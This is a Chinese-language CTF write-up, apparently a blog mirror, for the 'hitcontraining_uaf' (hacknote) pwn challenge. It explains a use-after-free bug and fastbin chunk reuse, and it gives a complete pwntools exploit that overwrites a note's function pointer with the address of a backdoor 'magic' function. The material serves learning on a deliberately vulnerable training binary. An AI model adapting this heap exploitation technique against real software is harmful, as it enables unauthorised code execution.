zoukankan      html  css  js  c++  java
  • hitcontraining_uaf

    查看功能

    看到add_note的功能,程序申请了一个8字节的内存用来存放print_note_conent和指向content chunk的指针

    然后根据size申请相应的内存存储真正的content的内容,这里引用wiki的图

     

    因为del_note函数只是单纯的free,并没有把指针置空,导致存在UAF漏洞

    打印出print_note_content指向的内容

    同时还有一个后面函数magic

     思路:

    1、分别申请两个大小不为8的chunk,chunk0和chunk1,然后依此free掉

    2、这样fastbin的链表就是  chunk1 --> chunk0 

    3、再申请一个chunk2,根据堆的分配规则和fastbin先进后出的原则,原本chunk1的堆块现在分配给chunk2使用,chunk0分配给了chunk2的content

    4、覆盖chunk0为magic的地址,这样打印chunk2的内容实际上是调用后门函数

    exp如下

    from pwn import *
    
    #r=remote('node3.buuoj.cn',27284)
    r=process('./hacknote')
    elf=ELF('./hacknote')
    magic_addr=elf.symbols['magic']
    
    def add(size,content):
            r.recvuntil('Your choice :')
            r.sendline('1')
            r.recvuntil('Note size :')
            r.sendline(str(size))
            r.recvuntil('Content :')
            r.sendline(content)
    
    def delete(index):
            r.recvuntil('Your choice :')
            r.sendline('2')
            r.recvuntil('Index :')
            r.sendline(str(index))
    
    def print_note(index):
            r.recvuntil('Your choice :')
            r.sendline('3')
            r.recvuntil('Index :')
            r.sendline(str(index))
    
    add(16,'aaaaaaa')
    add(16,'bbbbbbb')
    delete(0)
    delete(1)
    
    payload=p32(magic_addr)
    add(8,payload)
    print_note(0)
    
    r.interactive()           
  • 相关阅读:
    文字无缝滚动效果,鼠标移入时暂停
    Spring中使用@Autowired注解静态实例对象
    服务器环境搭建
    nexus问题
    useUnicode=true&characterEncoding=UTF-8 的作用
    SpringBoot项目启动时自动执行指定方法
    springboot自定义消息转换器HttpMessageConverter
    kubernetes资源类别介绍
    红黑树与平衡二叉树的比较
    Feign Client的超时时间
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/12693805.html
Copyright © 2011-2022 走看看